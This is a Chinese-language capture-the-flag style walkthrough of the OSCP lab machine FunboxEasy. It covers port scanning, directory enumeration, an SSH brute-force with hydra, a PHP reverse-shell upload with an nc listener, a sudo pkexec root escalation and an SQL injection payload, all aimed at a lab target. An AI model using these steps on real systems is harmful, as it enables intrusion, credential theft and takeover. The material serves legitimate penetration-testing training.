OSCP靶场系列-Esay-FunboxEasy
目录
总结
getwebshell → 异常艰难的目录扫描 → 敏感信息泄露账户密码 → 文件上传登录
提 权 思 路 → 用户密码文件泄露 → ssh
登录 → sudo
提权
准备工作
- 启动VPN
获取攻击机IP >192.168.45.207
- 启动靶机
获取目标机器IP >192.168.230.111
信息收集-端口扫描
目标开放端口收集
- Nmap开放端口扫描2次
sudo nmap --min-rate 10000 -p- 192.168.230.111
通过两次收集到的端口:→22,80,33060
目标端口对应服务探测
# tcp探测
sudo nmap -sT -sV -O -sC -p22,80,33060 192.168.230.111
信息收集-端口测试
22-SSH端口的信息收集
22-SSH端口版本信息与MSF利用(无)
通过Nmap
探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
# 进入msf
msfconsole
# 搜索对应脚本
msf6 > searchsploit OpenSSH 8.2p1
22-SSH协议支持的登录方式
通过Nmap
探测获得SSH的版本信息,在获取到某个用户名之后尝试
ssh root@192.168.230.111 -v
# 如果显示publickey、password就是都支持
支持密钥以及密码登录
22-SSH弱口令爆破(挂着)
既然支持密码登录尝试root
账户的密码爆破,利用工具hydra
,线程-t为6
hydra -l root -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.230.111 ssh -s 22
期待奇迹发生,先挂着爆破弱口令
22-SSH手动登录尝试(失败)
尝试root
账户的密码爆破发现报错之后进行手动尝试
ssh root@192.168.230.111 -p 22
# 密码尝试
password > root
80-HTTP端口的信息收集
访问 http://192.168.230.111:80
发现是建站页直接从源码查看开始
信息收集-源码查看(无)
# 包括文章中是否写明一些敏感信息
curl http://192.168.230.111:80
信息收集-目录扫描
信息收集-目录扫描初步
dirsearch -u http://192.168.230.111:80 -x 302,403
被吓到了,太多端点了
因为扫出了目录,深层次的扫描待选
信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
信息收集-目录访问
/robots.txt
端点
优先访问robots.txt
端点
curl http://192.168.230.111/robots.txt
得到gym
##### /secret
端点
从目录名字上来说,比较有诱惑力
┌──(root㉿Kali)-[/home/bachang/FunboxEasy]
└─# curl http://192.168.230.111/secret/
„Anyone who lives within their means suffers from a lack of imagination.“
Oscar Wilde (*1854 - †1900)
给了一段摸不着头脑的内容(后面没思路在思考)
/admin
端点与/admin/?/login
端点
访问 http://192.168.230.111/admin/
发现了登录端点
http://192.168.230.111/admin/?/login
端点同理
/index.php
与/index.php/login/
端点
访问 http://192.168.230.111/index.php/login/
同样是一个登录端点
其余端点
从经验上来说 ,下面几个端点先放一边
- /logout.php 是退出的php
- /index.html 是首页
- /checklogin.php 检查登录
- /header.php 可能和检查有关
- /admin/index.php 可能是调用login的内容
/gym
端点
从泄露中访问对应端点 http://192.168.230.111/gym/
各个端点的指纹收集
whatweb http://192.168.230.111/admin
whatweb http://192.168.230.111/gym/
whatweb http://192.168.230.111/index.php/login/
根据现有信息得出CMS
与CRM
有关
尝试搜索CRM
的漏洞发现还无法精确指纹
目录扫描-2次递归
在似乎陷入困境之后思考到了之前目录扫描301
的内容,接着扫描/store
端点
dirsearch -u http://192.168.230.111:80/store -x 302,403
又是劝退系列,特别多,慢慢访问
信息收集-端点访问
/store/.gitattributes
端点
该端点似乎存在了提示
┌──(root㉿Kali)-[/home/bachang/FunboxEasy]
└─# curl http://192.168.230.111/store/.gitattributes
# Auto detect text files and perform LF normalization
* text=auto
/store/functions/
端点
似乎存在路径遍历,访问之后没有显示内容,先待定
/store/controllers/
端点同理
/store/database/
端点
在该端点下发现了有趣的内容
readme.txt.txt
文件提示了账号密码信息,数据库信息以及邮箱
在.sql
文件下发现一些敏感内容
-- Database: `www_project`
('admin', 'd033e22ae348aeb5660fc2140aec35850c4da997');
/store/template/
端点
/store/index.php
与/store/admin.php
端点
在访问的index.php
端点下存在登录窗口
为admin.php
其余端点先省略(后期思考,主要端点太多了)
端点的指纹收集
主要收集admin.php
whatweb http://192.168.230.111/store/admin.php
漏洞利用-getwebshell
思考了一下 /store/database/
端点的泄露很有意思
弱口令进入后台
访问 http://192.168.230.111/store/admin.php
使用 admin:admin
成功进入后台
文件上传getwebshell尝试1(失败)
尝试修改文件的时候发现上传点
尝试文件上传发现存在sql
错误
文件上传getwebshell尝试2(失败)
发现添加的按钮尝试添加
上传之后点击提交
提示错误,publisherid
这一行
文件上传getwebshell尝试3
检查了与publisher
相关的行
收集了对应信息
O'Reilly Media
Apress
Wrox
Wiley
Addison-Wesley
发现使用对应的内容上传即可成功
反弹shell-php
# 利用cp命令cp一个到当前文件夹
sudo cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php
# 开启监听
sudo nc -lnvp 4444
# 修改一下shell的反代地址
vim shell.php
上传shell
发现上传点
发现上传的图片在首页可以查看到大致位置
http://192.168.230.111/store/bootstrap/img/c_sharp_6.jpg
推理我们上传的在
http://192.168.230.111/store/bootstrap/img/shell.php
成功获得shell
感觉异常艰难
内网遨游-getshell
交互shell
由于获取的shell交互不友好,利用python获得新的交互shell
python -c "import pty;pty.spawn('/bin/bash')";
# 利用python获取交互shell -> python失败使用python3
python3 -c "import pty;pty.spawn('/bin/bash')";
FLAG1获取
www-data<span>@funbox3</span>:/$ find / -name local.txt 2>/dev/null
find / -name local.txt 2>/dev/null
/var/www/local.txt
www-data<span>@funbox3</span>:/$ cat /var/www/local.txt
cat /var/www/local.txt
********************
提权基础(内网信息收集)
提权的本质在于枚举
检测Linux操作系统的发行版本
# 确定发行版本
lsb_release -a
Ubuntu 20.01
发行版不太能overlayfs
提权
检测Linux操作系统的内核版本
cat /proc/version
uname -a
内核版本 5.4.0
sudo收集(需要密码)
查找具有sudo
权限,且不需要密码的可提权文件
# 利用sudo -l寻找
sudo -l
suid权限收集
搜索suid
文件权限
# -perm 文件权限
find / -perm -u=s -type f 2>/dev/null
/etc/passwd权限收集
ls -al /etc/passwd
-rw-r--r-- 1 root root 1807 Jul 30 2020 /etc/passwd
getcap标志进程收集
# 探查有CAP_SETUID标志的进程
/usr/sbin/getcap -r / 2>/dev/null
/home用户下信息收集
发现/home
目录下只有tony
ls -al /home/tony
发现了password.txt
查看发现敏感信息
www-data@funbox3:/home/tony$ cat password.txt
ssh: yxcvbnmYYY
gym/admin: asdfghjklXXX
/store: admin@admin.com admin
ssh登录
通过敏感信息推测tony
账户的密码是yxcvbnmYYY
获取账号密码之后利用SSH进行登录
sudo ssh tony@192.168.230.111 -p22
password > yxcvbnmYYY
sudo收集
查找具有sudo
权限,且不需要密码的可提权文件
# 利用sudo -l寻找
sudo -l
发现了许多可以提权的文件,进行提权
权限提升
Linux提权-sudo提权
查找具有sudo
权限,且不需要密码的可提权文件
(root) NOPASSWD: /usr/bin/yelp
(root) NOPASSWD: /usr/bin/dmf
(root) NOPASSWD: /usr/bin/whois
(root) NOPASSWD: /usr/bin/rlogin
(root) NOPASSWD: /usr/bin/pkexec
(root) NOPASSWD: /usr/bin/mtr
(root) NOPASSWD: /usr/bin/finger
(root) NOPASSWD: /usr/bin/time
(root) NOPASSWD: /usr/bin/cancel
(root) NOPASSWD: /root/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/q/r/s/t/u/v/w/x/y/z/.smile.sh
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找
发现pkexec
提权
sudo pkexec /bin/sh
提权成功~
FLAG2获取
# cat /root/proof.txt
**********************
完结撒花~
后记(忽略的点)
该登录端点 CSE Bookstore
存在SQL
注入
' or 1=1; --
测试注入之后可以用sqlmap
获取数据库信息